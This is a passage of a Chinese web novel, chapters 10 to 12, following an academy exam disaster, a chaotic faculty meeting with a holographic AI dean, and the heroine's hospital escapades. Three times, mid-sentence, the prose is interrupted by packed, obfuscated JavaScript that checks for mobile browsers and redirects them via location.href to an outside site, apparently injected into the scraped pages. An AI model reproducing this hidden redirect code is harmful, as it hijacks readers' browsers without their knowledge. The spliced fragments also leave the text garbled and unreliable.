他的下腹血肉横飞,一片狼藉。深蓝色的血液溅射在嬴欢的眼角处,如同海妖的眼泪般缓缓从侧脸滑落。 冰凉湿润的触感通过触觉感受器传入嬴欢的大脑,这铁皮人怎么连血肉都是拔凉拔凉的,她心想。 等厉寻旌怔然回过神时,机体数值正在快速下降,他咬着牙握住那只穿透他胸口的手,恨不得用目光将她千刀万剐。 嬴欢毫不怜惜地把腹部的伤口继续撕扯开,似乎在寻找什么。 到底在哪里呢?嬴欢卯足力气深入他的胸腔,几乎半只手臂都要埋没进去。 他接近脱力地倒在嬴欢的耳边,声嘶力竭道:“我记住你了,嬴、欢。” 他的眼神紧紧盯着她的耳垂,瞳孔内的红色越发鲜艳而旖旎。 嬴欢两耳不闻窗外事,一门心思用手指在他的血肉中费力探寻。终于,她摸到了个类似于芯片的小玩意儿。 墨灰的眼睛蓦然一亮,她对着半死不活的男人冷冷地笑了笑。 “你输了,垃圾铁皮人。” 她的话音刚落,修长的五指用力一攥。 芯片轰然爆炸。 砰! 刺眼的白光闪过,整座幻境骤然崩塌。 【一级警告!一级警告!幻境正在崩塌!正在启动应急装置──】 【全部学生立即撤离!重复,全部学生立即撤离!】 10. 狭路相逢 【紧急!克里斯军校突发幻境崩塌事故!】 【克里斯现任校长厄斯将在明日召开新闻发布会──】 【新生考核现场突发事故!共计1045人轻伤,1人重伤!】 以「克里斯」为主语的热搜词条占据了绝大部分新闻版面。 仅仅因为一场新生考核,克里斯被推上了舆论浪潮。 讨论广场。 “现场目击证人来也,大家准备吃瓜!今天是小破校的迎新日,少不了传统的新生考核,然而!大瓜来了!就在新生们还在幻境里苦苦挣扎的时候,不知道啥幻境毫无征兆地就炸了!几乎所有人都没能幸免,当场就昏过去一大片……” “笑死,隔壁白鸟院的老学长们直接原地上岗![图片][图片]” “我天,什么逆天热搜──幻境炸了?是我想象的那个‘炸了’吗!?” “等等等等,克里斯这届新生这么猛?我好像在名单里看见今年的‘新人王’厉寻旌了。” “好家伙不看不知道,怎么邬家兄妹也在这届的新生名单里啊!克里斯这是要准备今年弯道超车弥蓝了?” “哇,弥蓝学子表示这瓜我爱吃!不过话说回来,厉寻旌好像确实是把我们offer拒了来着……” “厉寻旌去克里斯我忍了,但你们邬家两个小屁孩为什么也要去克里斯啊!你忘了你们的哥哥是哪里毕业的吗!?” “快来看!克里斯和弥蓝的撕*现场![转发]” “[转发]” “[转发]” “[转发]+10086” ** 会议室。 各学院院长、学校其他高层以及厄斯全部聚集在会议室中。 气氛凝重。 “幻境负责人呢,给我站出来!”厄斯的声音不怒自威,压迫感蔓延每个角落。 在无边的静寂下,一个职员颤颤巍巍地站了起来。 “警署的人就在外面,你最好先斟酌一下言辞。”手腕一甩,女人将幻境的源数据文件摔在他的面前,尖锐的目光好似要把人吃了般。 幻境负责人是个黄瓜条似的中年男人,两只豆子大的小眼睛藏在镜片下,嘴唇皱巴巴的,声音细而尖锐: “我、我是真冤枉啊厄斯女士!我发誓,所有的数据都是严格按照幻境拟造标准来的!”灰色西装裤下的双腿颤颤巍巍的,他就差当场来个滑跪以示忠心了。 是按照了拟造标准不假,可偏偏是最低的那档标准。 最低标准也就罢了,起码不用吃牢饭。 可偏偏这届新生里又有那么一两个脾气爆的,直接把幻境给炸了!这下好了,一出了严重事故全星际的媒体都盯上他们了! “这不都怪那个叫厉寻旌的!还有那个什么──嬴欢!要不是他们俩非要为了几个积分打架,幻境怎么会突然崩塌了呢!”负责人欲哭无泪。 这俩倒霉孩子非要把彼此往死里揍,互相出出气也就罢了,偏偏把整个幻境都给炸了! 这能怪他吗!啊? 他就一个被推出来背锅的可怜虫啊!幻境又不是他炸的!更何况他这次为学校节省了多少预算啊!要是没这两个扫把星,他说不定还会升职加薪呢! 苍天啊大地啊,他一个打工人容易吗!不仅要干最累的活还得被最重的锅,他还不如一脑袋撞死了算了! 负责人撇着嘴巴,硬生生是憋出了两滴眼泪来。 在场的人都频频摇头,这件事确实说来蹊跷,能把幻境炸了的学生他们还是第一次见。 要不是幻境内有360°无死角监控将全程拍摄了下来,他们恐怕就要怀疑是哪个反叛者入侵学院系统了。 一个老头握拳咳嗽了几声,中气十足道:“依鄙人看来,这何尝不是上天赐予我们的福运呢?” 说话的老头儿有着一圈浓密的络腮胡,咖色西装一丝不苟,在他的胸前有一颗十字架胸针正在熠熠生辉。 “嗯。我同意老伍兹的说法,既然事情已然发生,那么还不如想想该如何化腐朽为神奇──” 白鸟院现任院长是个鬓角银白的小老太,她平常总是看戏多说话少,这一次却率先表了态。 “这两位学生非池中之物,要是能好好培养一番,必定能成为栋梁之材。”圆桌上唯一一个全息虚影也在这时开口。 “哦──我的上帝,你竟然还活着?”伍兹着实被它吓了一跳。 “瞧您说的,我一直都活着。”虚影的表情不是很好。 作为唯一一位非人类院长,Dr.X对这帮老头老太简直耐心为零,这帮人的大脑反应速度在他眼里和淘汰的工业废品没区别。 人类的机体会磨损,X表示理解。可尽管自己放慢了语速、降低了声音、更改了声线等等等等,每次说话时仍然还是会随机惊吓到一位院长大人。 于是Dr.X选择了破罐子破摔,冷不丁就会跑出来搭句话,吓得老头老太们频频开始反击,用手边一切能丢的东西朝着他的座位丢去。 以至于每次会议开始时,Dr.X的座位上除了一个全息虚影之外还有成堆的杂物与垃圾。 此时此刻,Dr.X就正伫立在一片“垃圾堆”上,昂首挺胸地扫视着眼前的人类们。 无感情的AI合成音徐徐响起:“我认为这两个学生应该进入我们信息院。” “嚯,想得真美。”白鸟院院长翻了个不太优雅的白眼。 伍兹抄起矿泉水瓶向X的影子砸去,“我的上帝!你这样的愚蠢家伙还是下地狱去吧!” “大家安静!” 厄斯强行用手势制止老头老太们“丢垃圾”的不良行为,只不过效果甚微。 矿泉水瓶穿过Dr.X的虚影,砸在座位靠背上。 “哦,亲爱的老伍兹──真该让您的学生们看看您的暴行!”Dr.X模仿伍兹的语气道。 “你──” 繁杂喧闹的会议室愈演愈烈,以至于这些西装革履的绅士们都不得已下场开始手动拉架,场面要多难看就有多难看。 “够了,各位。” 手杖狠狠敲击地面,发出空灵而肃穆的回响。 仿佛有什么魔力似的,仅仅在一瞬间,互相拉扯的众人都同时安静了下来,一齐看向厄斯旁边的那位掌管着整个机甲院的男人。 岁月并没有在男人脸上留下痕迹,他看上去不到四十岁,骨相优越,眉眼冷峻。 唇线近似于细长的菱形,颜色偏浓,说话时只是微微开合,气场极强。 哪怕在一众位高权重的前辈中也毫不逊色。 盘踞着青筋的手臂隐没在衬衫之下,他两手撑着纯黑的乌木手杖,声音隐忍却含着几分不容置疑: “厉寻旌必须留在机甲院,其余的人你们随意。” 一向情绪稳定的厄斯也终于受不了这群我行我素的老古董了。 她站起身来猛拍双手。 拍掌声响彻整个会议室,没人敢在明面上忤逆厄斯,各自整理着衣服的褶皱和歪斜的领带。 她指了指男人的身旁:“黑川先生,先让你的‘爱犬’坐下,好吗?” 男人那张脸上依旧没什么表情,但还是给了厄斯一个面子,拍了拍机械犬的脊背。 机械犬摇着尾巴趴下。 众人见黑川身后那只呈战斗姿态的军犬原地坐好,顿时松了口气。 哪个正常人会养一只比人还高的宠物啊! 被当作异类的机械犬用带着警告意味的目光扫过在场除黑川之外的每一个人。 犬身闪烁着低调内敛的金属光泽,爪尖如钢刃般锋利无比,使人不寒而栗。 威胁!这是赤裸裸的威胁啊!其他几个院长敢怒不敢言,只能把这口气憋在心里。 明明是在讨论追责问题,却不知怎么就拐到了招生上……连续几个深呼吸之后,校长女士终于恢复了往常那般平静的表情。 “这次分院仍然按照学校标准来进行,我们需要充分尊重学生意愿,而不是像早间菜市场抢购似的,谁抢到了就是谁的──各位还有异议吗?” 几个院长没人说话,显然是默认接受了厄斯的警告。 整点的钟声响起,一共十二声,像是在给这场闹剧落下了休止符。 空气寂静,甚至能听到某些人用指节敲桌子的声音。 厄斯双手撑着光滑的桌面,哪怕在巨大的内外压力下,她的脊背仍然挺得笔直。 “有关网络舆情的相关事宜下次再议──散会吧。”她的叹气声微不可闻。 在静穆的钟声背景音下,女人麻利整理好手里的文件,踏着疲惫的脚步,匆匆穿过会议室的自动感应门。 只是校长女士前脚刚走,后脚会议室就开始了新一轮的鸡飞狗跳。 “真是该死的家伙!” “嘿!老伍兹,你的胸针可经不起折腾。” “谁!谁的胸针扎到我头了!” 守在门口的警署人员看到会议室里的一幕甚至都来不及惊讶,连忙冲进去充当“人肉沙包”。 ** 幻境崩塌后不久,梅瑟的邮箱中收到了厄斯校长亲自下达的委托令,大意就是让他来负责此次事故的收尾工作。 作为本次考核的主要负责人之一,他不可避免地被那个幻境负责人拖下了水,这件事情给雪莱家的声誉带来了不小的冲击。 可尽管如此,厄斯还是将这项工作交付给了他,可以说厄斯对他的信任甚至已经超过了会议室里那些老家伙。 处理完学校礼堂的相关事宜后,青年带领学生会干事们一起前往白鸟院。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462681|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这场事故造成的影响巨大,波及了太多的家族和集团、企业等。幻境崩塌后的几秒钟内,大部分学生的精神值造成了波动,有的甚至因为承受不了巨大刺激而导致短暂性晕厥。 还好精神波动的症状在醒来后的三十分钟内基本消失,绝大部分学生已经陆续恢复正常,不然各个家族恐怕也不会轻易放过克里斯。 白鸟院住院部。 满血复活的学生们在走廊里打打闹闹,把安静的医疗部闹得像个刚开业的游乐园。 走廊里挤满了喧闹的新生,一道清隽的身影带领着学生会干事们从人群里逆流而过。 一个被朋友追打的男生差点儿撞在梅瑟的身上,还好几个身强体壮的随行助理及时把人硬生生挡了下来,确保会长不会被这些粗鄙的家伙冒犯。 “走廊不可以追逐打闹,各位还请注意自己的安全。”梅瑟言语柔和地提醒道。 其中一个男秘书看了眼自家温文尔雅的会长,意思是需不需要他们出面管制一下,青年人对着他轻轻摇头。 按照现在的形势,更该低声下气的应该是校方。如果使用粗鲁的专制手段来管理学生,也只会引来他们更深程度的厌恶罢了。 学生会在克里斯是个极为特殊的存在,干事们都是各个学院的佼佼者,选拔严格不说,而且自成一个新的体系与规则。 而梅瑟,校方高层用来控制学院内部的一颗“棋子”,不仅要平衡好校方与学生间的关系,还要解决上层和下层的纠纷。 就比如现在。 “呦,这不是熟人么?” 靠在墙面上的少年神色慵散,他睨向人群里格外突出的会长,昂首微笑。 梅瑟顺着声音轻轻一瞥,一缕眼熟的红毛无比强势地映入视线。 原来是这个家伙。 那双清澈的凤眸里难得露出几分不耐,连带着周身的气场变得诡异起来。 “邬涟同学,看来你的身体恢复得不错,这样我就可以放心了。”青年友善地笑了笑。 表面上像是熟人碰到了熟人,可这二人视线里的锋芒却隐藏得极好。 围观群众目瞪口呆。 哇──这两人有什么瓜葛? 红发少年起身伸了个懒腰,洁白的颈部暴露在阳光之下,隐约可以看见几道崭新的血痕。 清澈的音色宛如涓涓细流,可说出的话语却带着尖刺。 “都这么久没见了,雪莱先生。怎么连你也开始给人当狗了?”他踏着阳光,尤为兴味地向着温润儒雅的会长大人缓缓走近。 被点名的青年站在原地巍然不动,可那抹鲜艳的橙红色却仍在步步紧逼,二人贴得极近,甚至能够在彼此瞳孔的倒映中看清自己。 干事们见情况不对,急忙上去拦住邬涟继续向会长靠近,“邬少爷,请你自重。” “滚开──”邬涟一声低喝,连眉毛都染着怒意。 梅瑟抬起左手,向后轻轻挥了挥,示意他们先退下。 “这是我与他之间的私事,交给我来处理吧。”梅瑟给予他们一个安抚的眼神。 见自家会长都亲自发了话,他们也不敢再有什么动作,毕竟无论哪一方都是得罪不起的人。 对气氛敏感的人已经偷偷拿出手机开始录制,一时间,各种不同机位的现场直播出现在了星际网上。 黑发青年仍然保持礼貌的微笑,仿佛眼前的只是一个小小的蝼蚁。如果仔细瞧便会发现──他的眼中甚至多了几分怜悯。 “想必你们已经找好替罪羊了?” 邬涟抱着双臂,他十分了解眼前人的可怕之处,这人惯会用那副温柔无害的皮囊骗人,几乎没有人能够识破他的假面。 “我不知道你在说什么,邬涟同学。” “别装傻了,会长大人。”邬涟逼视他的眼睛。 两个人都不是好战的性格,所以来自眼神中的交锋更加迅猛。 “如果你对校方的决定有任何异议,可以亲自去找校长女士当面洽谈。”梅瑟贴心地递上校长办公室的名片,回答也是滴水不漏。 偏偏这副公事公办的虚伪态度更让邬涟怒气填胸。 三两下将印着头像的名片撕成了雪花般,少年冷冷一笑,当着所有人的面狠狠砸在学生会众人的头顶。 顿时,惊呼声一片。 似乎连时间都变慢了,雪花似的纸片坠落时间被拉至无限长,这宛若电影最高潮的一幕被监控系统录入云盘,定点发送至校长的私人邮箱中。 校长室。 刚从会议室回来的厄斯收到一封视频邮件,她将文件夹放在桌子旁,点开播放键。 “……” 等将监控视频一帧帧看完后,厄斯感觉自己的两个太阳穴像击架子鼓似的直抽抽。 真是要命的一届。 11. 暴发户与私生子 【哈喽?扣你七哇?萨瓦迪卡?绷竹?泥嚎?】 什么鬼玩意在叫? 嬴欢一睁开眼,便发现自己身处在一片黑暗中。 不会吧,她又开始轮回了? 【阿哦,又忘记开灯了!抱歉抱歉!】 “啪嗒”,炫彩的灯光照亮嬴欢的脸颊,她不适应地眯了眯眼睛。 【恭喜你啊,你已经死啦!】旋转木马上坐着一个阎王打扮的小鬼,向她激动地招手。 嬴欢瞪着它,一句话也不说。 尤拉看着自家宿主犹如杀人般的脸色,堪堪一笑:【啊哈哈哈……开个玩笑嘛。】 “小阎王”迅速一个滑跪,声音夸张:【恭迎女帝回宫!】 “别臭屁了,我怎么会在这里?” 【您可别是又又又失忆了吧!】“小阎王”脸色一垮,惊恐地瞪大眼睛。 嬴欢屏住呼吸,试着回忆了一下事件的来龙去脉。 她先是在幻境里遇见了一个心狠手辣的铁皮人,之后又被邬家兄妹所救…… ……接着她把铁皮人的核心给捏碎了,幻境霎时间崩塌。 可她怎么会出现在这里呢? 难不成每次经历重大变故昏迷后,自己的意识都会在这里醒来么。 看见嬴欢垂眸思考的表情,尤拉松了口气。 看来记忆应该还在。不然按她的性子早就开始哐哐用眼神“杀人”了。 “外面怎么样?” 【家里一切都好~】 “你给我正经点儿。”嬴欢冷眼威胁道。 尤拉一滞,叉着腰道:【好吧,不容乐观。外面有好多人聚在你病房门口,就差搭擂台直接开打了。】 【你还是多休息休息吧,能在这里见到我说明你的精神值已经岌岌可危了。】 果然是这样吗?嬴欢第一次认真打量这里。 【喂喂喂,随便打量别人家是很不礼貌的行为啊!】 它家?嬴欢抱着后脑勺到处溜达着,想看看这空间里到底有什么奥秘。 华丽缤纷的旋转木马、巨型南瓜海盗船、拥有超长轨道的过山车……在这个充满童趣的世界里,没有悲伤,没有虚伪与痛苦。 这儿就像个真正的乐园,只不过显得尤为冷清,除了她们两个再无其他人驻足。 少女逛得有点儿累了,坐在乐园大门前的喷泉池边临时休息。 她感觉到自己的精神深处有一股清风拂过。 看来这空间还有安抚精神的效果。 而尤拉也适时地给出了答案:【这里是系统的管理中枢,简称‘系统空间’。】 说白了就是个大型的感控装置罢了,在宿主出现精神值异常的状况时把人拉进来冷静冷静,和小黑屋的性质一模一样。 嬴欢的手指滑过水面,她的倒影随着波纹一点点破碎再重组。 “我目前的精神值是多少?” 尤拉扫了眼面板,撅着嘴道:【1。】 在末日世界里要被当成丧尸的程度。 嬴欢却并没有觉得自己和常人相比有什么特别之处,甚至比一般人更冷静。 “会不会是结果出错了?”她抱着一丝幻想。 【你是把我和白鸟院那些家伙当成傻子吗?】还出错呢,她不如觉得自己其实是个丧尸更现实点儿。 嬴欢突然不想出去了。 她原地一躺,水面盖过鼻尖,默默开始吐泡泡。 【哎呦我的姑奶奶,您别睡啊!】尤拉提着自己长袖风风火火地把人从喷泉里扛了出来。 嬴欢两眼一闭就是装死,对它的呼喊声充耳不闻。 它看出嬴欢摆烂的前兆,直接下达逐客令:【火都烧到你家门口了!给我回去吧你!】 尤拉一脚将她的意识踢进了时空缝隙,顺手拍了拍袖子上的灰尘。 唉,又是苦苦为宿主操心的一天。 ** 病床上。 面色消瘦的少女忽然秀眉一紧,睫毛不断震颤。 直至某个瞬间,床上的人猛然惊醒,虚弱的身板大幅度起伏着,呼吸沉重而慌乱:“……” 仪器的滴答声充斥着整个病房,浓郁的消毒水味直冲鼻腔。嬴欢盯着冷白色的天花板,眼前成了一道道重影。 须臾,她摇了摇沉重的头部,视野逐渐变得清晰起来。 简约的病房里只有一张床和一个储物柜,看上去是医院的标配。 而嬴欢身上不知什么时候被套上了病号服,比她之前又湿又脏的衣服要舒适不少。不仅如此,连她的头发都被打理得十分柔顺,散发着一丝薰衣草的香味。 嬴欢精神紧绷的症状并没有缓解,甚至愈演愈烈。 泛着青白色的手背上贴着两张固定带,银色的针头深埋皮肤直达静脉血管,向其内部输入浅绿色的药液。 嬴欢直接动作粗鲁地拔掉针头,翻身下床,脚步虚浮地靠近房门。 轻轻压下门把手,门打开一道缝隙,她伸出脑袋向外张探,微愣。 好多人──好多好多人。 刚探出头,就看见几个屁股挤在一起,他们高举着手机,不知道在窃窃私语些什么。 走廊里看热闹的人越来越多,甚至有几个被绊了一跤直接闯进了嬴欢的病房内。 少女的身体下意识往旁边一躲,几个人就这样叠罗汉似的,齐齐摔在了瓷砖地面上。 几人尴尬对视了几秒钟。 “你、你醒了呀?” 为了掩饰尴尬的气氛,完全陌生的彼此几人开始互相寒暄起来。 “啊,是。”嬴欢敷衍地点点头,好心提醒道:“地上不凉吗?” 几个人如梦方醒,连忙从地上爬了起来。 “那个,好像有人来找你来着。”他们指了指外面嘈杂的人群。 嬴欢心一沉,大概是校委会派来兴师问罪的吧?毕竟她是事件“主犯”,少不了一顿处分。 她点点头,“谢谢。”随后走出病房。 宽阔的走廊里再无落脚之处,气氛高昂,少女的冷漠在众人里就显得格外不合群,她隐没在一张张等待着看好戏的脸中,同时也不停向前摸索着。 几个安保人员正在竭力地疏通人群,只是效果甚微。 “邬老二!你发什么疯呢?”一个提着包子和海鲜粥的女生拨开层层人群,怒气腾腾地将两人拉开一段距离。 “邬老二”这三个字一出,少年的气焰立马折损了一大半,众人憋笑。 不愧是狄兰第一暴发户,语言都如此粗鄙下流。 真说起来,邬家的成名史不过几十年而已,全靠邬明仪一个从底层打工的无知小妹一点点成长为今天的狄兰首富。 但凡祖上有点儿底蕴的家族都会鄙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462682|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视这种一夜暴富的暴发户,在上流圈子里这些暴发户往往处于鄙视链的最底端。但人家邬明仪可是出了名的手段狠辣,说一不二,没人敢在明面上嘲讽。 眼下,邬明仪培养出来的这两个言行不端的孩子正好成为了嫉妒之人的发泄口,不知道多少想看邬家笑话的人在底下笑烂了嘴巴。 可终于让他们等到这一天了。 “瞧啊,暴发户与私生子之间的较量──” “小声点儿。这家伙虽然是私生子,但好歹也有个会长的职位呢。” “嘁,都私生子了骂骂怎么了?见不得人的东西。” ** 蚊子似的讨论声无休无止,少年烦躁得头发都快竖起来了,他一把将邬蘅拉至自己身后,一声冷嘁。 “这家伙可不是小时候陪你玩过家家的那个邻家哥哥了,看看他胸前恶心的徽章吧,家族们的走狗罢了──” 邬蘅顺着他的目光望去,浅白色的西装胸前佩戴着一个小巧别致的克里斯校徽,金色的外表熠熠发光。 那是校方高层与学生会的专属标志,没有人会不认得。 邬蘅与青年遥遥对望,他脸上是尤为陌生的客套与疏离,和哥哥说得一样。 “过去的事就让它过去吧,没有人会一直停留在那里。” 身为邬家的准继承人,邬蘅从小就明白这个道理,所谓的“孩童时代”不过是场短暂而的梦罢了。 多少人面上亲近和煦,背地里寡恩少义,把两面三刀玩得明白极了。 谁把谁当真? 邬蘅的眉头紧皱着,保护好手里的食物,与两个男人擦肩而过。 少年吹了吹额前的红发,自家妹妹小时候可是最喜欢这家伙了,没想到她当断则断,比他想象地要成熟了不少。 “姐姐。”邬蘅一眼看到人群里的少女,眼睛发光地一路奔向她的方向。 嬴欢眉毛一挑,立马用手掌挡住脸。 千万别是在叫她! 正想着,邬蘅已经跑到了自己的面前,发丝跑得有些乱,却毫不在意形象地一把扑进嬴欢的怀里。 “你可总算醒了!” 谁能想到往日里那位身娇体贵的大小姐也能有这样的一面。 心跳正在不受控制地加快,她迟缓地回抱住眼前的女孩儿,恍然意识到,这是她的妹妹。 “我买了海鲜粥还有包子,不知道你喜不喜欢,医生说要吃点儿清淡的……”邬蘅很自然地牵起姐姐的手,用身体隔绝周围一切带着探寻的视线。 邬涟轻飘飘地看了眼对立面的青年,红唇嘲讽一扬,紧随其后。 灰蓝的瞳孔凝望着三个人并肩的背影,黑发青年兀立于繁闹的人群中,明明身边攘来熙往,所有人都在众星捧月般讨好他、拥簇他、仰望他── 可心脏好像多了一个缺口,数不清的繁乱情绪从中满溢而出。 心底传来一道飘渺的声音,来自遥远的过去,梅瑟在恍惚中看到了十多年前的某个景象。 一个冷若冰霜的女人站在年幼的孩子面前,黑影笼罩着他稚嫩的身体,幽暗的房间里,只有他们两个人。 她说。 ──不要有多余的情感,不要付出唯一的真心。 ──你只是一个“棋子”。 ──做好自己的职责。 ──否则,你将失去你的全部。 12. 偷溜 少女又被强行带回了熟悉的病房里。 方才人多的时候还没怎么样呢,现在一安静下来,她突然觉得自己的脑袋瓜彻心彻底的痛。 “不知道你喜欢吃什么口味,所以我买了素馅、肉馅还有糖馅的包子。”邬蘅把人按回病床上,拿起勺子准备亲自喂她吃饭,只是被少女坚决拒绝了。 “我自己来。” 被拒绝的大小姐顿时蔫了下来,只好在小桌板上撑着脸,看姐姐是怎么狼吞虎咽地吃光自己买的饭。 三个人都不说话,气氛安静得有些尴尬。 邬涟倚身靠在落地窗前,遥望远山的景色。 嬴欢时不时抬头观察这对兄妹,明明他们看起来有很多话想说,可谁也不想先开口。 “嗯──你们是亲兄妹?” 邬蘅和邬涟都被这个问题问沉默了。 邬蘅解答道:“我和这家伙是同卵双胞胎。”不知为何,她的语气有些嫌弃。 邬涟脸色一敛,“怎么,和我做家人委屈你了?” 邬蘅两眼一翻,“家人?幸好低智商不会传染,不然我和大哥都要被你连累了。” 嬴欢大口喝着海鲜粥,蛤蜊与海参的鲜香搭配大米的软糯,吃到嘴巴里香香糯糯的。 白鸟院的食堂还挺不错,好感值up! 邬涟和邬蘅都是网上常说的“驳斥型人格”,基本二人只要同处一个空间就会把场面搞得鸡飞狗跳。 等嬴欢把饭吃完时,两人的嘴皮子还没停下来。 嗯,找点儿别的事干吧? 嬴欢趁着二人都没时间注意她,悄悄地下床。 她蹲着身体,小心翼翼地打开病房门,溜进白色长廊。 嬴欢漫无目的地溜达着,突然,她打定了注意。 偶尔身旁有护士经过,嬴欢随机拦下一位,佯装探望的家属:“内个──请问伤得最重的那个男的在哪个病房?” 护士小哥哥打量了一下她的病号服,“你不是重症病房的吗?怎么跑出来了!” 嬴欢忘了衣服这一茬,打着哈哈道:“啊,我出来锻炼一下腿脚。”说着,她当场来了一段养生操。 而人家护士又不是傻子,拎着她的手臂就要给人带回去。 嬴欢情急之下只好抬起右手,朝着护士的后颈劈去:“抱歉了。” 护士看着她离去的背影,在临近昏迷的前一刻,还不忘尽职地按下走廊内的警报器。 走廊这时候并没有几个人,嬴欢东躲西藏,完美避开安保人员的视线。 她来到这个区域的最后一间病房。 前面那些那些病房她都检查过了,没有自己想找的那个人。于是乎这个病房就成了她最后的希望。 嬴欢用从护士身上拿来的门禁卡打开了病房门。 浓烈的血腥味与苦涩的药味在房间内挥散不去,嬴欢弯着腰进去,清楚地看见了床上躺着的人。 年轻男子闭着双眸,身上插着各种透明软管,供氧面罩覆上一层浅浅的雾气。 这是嬴欢第一次看清他的脸庞。 偏灰色的短发乖顺地掀起,鬓发盖住耳朵尖。他的额间布满细细密密的伤痕,应该是刚刚消毒过,伤口周围泛着一圈浅浅的红晕。 嬴欢不知道该怎么形容这种感觉,他实在美丽极了。 眸如桃叶,眉似松针,简直像极了她花园中那几株姿态骄矜、颜色秾丽的虞美人。 如果能回到当时,她一定会小心避开这张漂亮的脸蛋。 也不怪嬴欢见色起意──他这张脸和毁天灭地的性格简直大相径庭,实在难以想象机甲之下竟然长着一张如此无害的脸。 高挺的鼻梁骨贴着两张医用创可贴,刺眼的血痕好似彗星般划破一侧的脸颊,徒增了几分凌乱与凄美。 嬴欢的愧疚仅仅存在了两秒钟,拔掉氧气罩,掀开纯白的被子,身体完全显露于她的眼底。 心跳检测仪显示一条直线,这并不奇怪,毕竟这家伙根本就不是寻常意义上的“人”。 嬴欢用手指试探他的体温,比常人要低得多。 她再次将手伸向机体核心所在的位置,那里空空如也。 嬴欢在幻境内亲手铲除了他的核心,按照寻常意义上来说,此时的他已经与“植物人”无异。 她对这副身体有太多好奇的地方,比如没有心脏机体如何供能?难道他不需要呼吸?不用进食?甚至不用睡觉? 眼前的人不能说是死了,而是进入某种休眠状态。 “砰!”身后的房门被一脚踏平。 “第七执行署!前面的人,举起手来!” ** 他如同一片破碎的浮萍,飘荡在无边无际的血海上。 意识还停留在爆炸的那一刻。 他站在自己的记忆储存空间中,亲眼看着少女一次又一次地将五指穿透身体。 她的眼睛里没有一丝犹豫,仿佛将世界握进手中。 嬴欢。嬴欢。嬴欢。 各种记忆凝聚成一团黑雾,厉寻旌在记忆之流中行走、追寻。 终于。他找到了浓雾中的微光。 “都说了,我有梦游症。”嬴欢蹲在地上,一脸正经地瞎编。 “别废话,双手抱头!跟我回警署走一趟。” “警察姐姐,我有严重的幽闭恐惧,可不能进禁闭室之类的地方啊!”嬴欢突然崩溃倒地大哭。 “就是她打的我!”护士捂着后脑勺指认,语气笃定。 病房内聚集了警署人员和医护人员。 “她不仅殴打我,竟然还拔病人的氧气罩!这是赤.裸.裸的谋杀!” 嬴欢神情一哽,指着病床上的人:“他需要氧气罩?你怎么不说这是在浪费医疗资源呢。” “回局子再辩解!赶快起来!”警署人员作势就要把人给拷起来。 “等等……”低哑的声音震慑全场。 嬴欢一个屁股墩跌坐在地,甚至不敢回头看。 好家伙,这下彻底解释不清了。 警署人员连忙把嬴欢扛起来。 幻境内的录像系统把全过程都记录了下来,现在全星际都知道幻境里发生的事儿了! 他们生怕会刺激到这位男同学,几个人也不含糊,直接把扒在床头的嬴欢往外拖。 厉寻旌与挣扎中的嬴欢对上视线:“……” 男护士吹了吹指甲,瞪了眼嬴欢:“这小妮子要谋杀你,还好我来得及时。” “你是真的想杀我?”厉寻旌忽略男护士,直接当场逼问嬴欢。 嬴欢正两只手死死扒住门框,听到这话时抬起了眼睛。 她高昂着脑袋,一边和外力抗衡,一边放声嘲笑:“就凭现在的你,也值得我亲自动手?” 厉寻旌的胸口痛意剧增,笑声凄厉。 原来如此,他在她眼中已为败者。 ** 最后嬴欢还是去了一趟警署,虽然没蹲局子,但是由厄斯亲自前来签字保释。 浮空器内。 嬴欢沉默不语,靠在窗边静静看风景。 作为全校唯一知晓她马甲的人,厄斯的偏爱几乎毫无理由,她没有责怪嬴欢,而是开启了一段新的话题。 “有心仪的学院了吗?”厄斯一边处理文件,一边问道。 嬴欢眨了眨眼睛,她确实没有考虑过这个问题。 那就现搜吧——她打开浏览器。 根据克里斯官网显示,全校共培养出了五十一位获得星际终身成就奖的院士,十四位来自机甲院、十八位来自水仙院(信息工程院)、八位来自犬院(文史与法学院)、剩下十一位全部来自白鸟院(医学院)。 其中,水仙院是出了名的内卷之王,院长亲自带领学生们进行高危地带模拟战,三天三夜不带合眼的! 被誉为“养老机构”的犬院相对轻松和谐,毕竟都是笔杆子选手,打打杀杀的不是他们的风格。 而白鸟院和机甲院可就不一样了,二位荣登“最受学子讨厌院系”、“最后悔的专业”的宝座。 嬴欢冷静地想了想,说:“我觉得当个医生挺好的。” 厄斯看不出什么表情,从文件堆里拿起一份新的文件,“就算你敢想,白无知也不敢收啊。” 无知──到底什么样的人会取个这种名字?嬴欢挠了挠后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464011|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑勺,有些疑惑。 厄斯口中的白无知就是会议上那位头发花白的八卦老太太,她只喜欢远程看戏,却不喜欢引火烧身。 这个火说的就是嬴欢。 “水仙院,或者机甲院──这两个更符合你的能力和特性。” 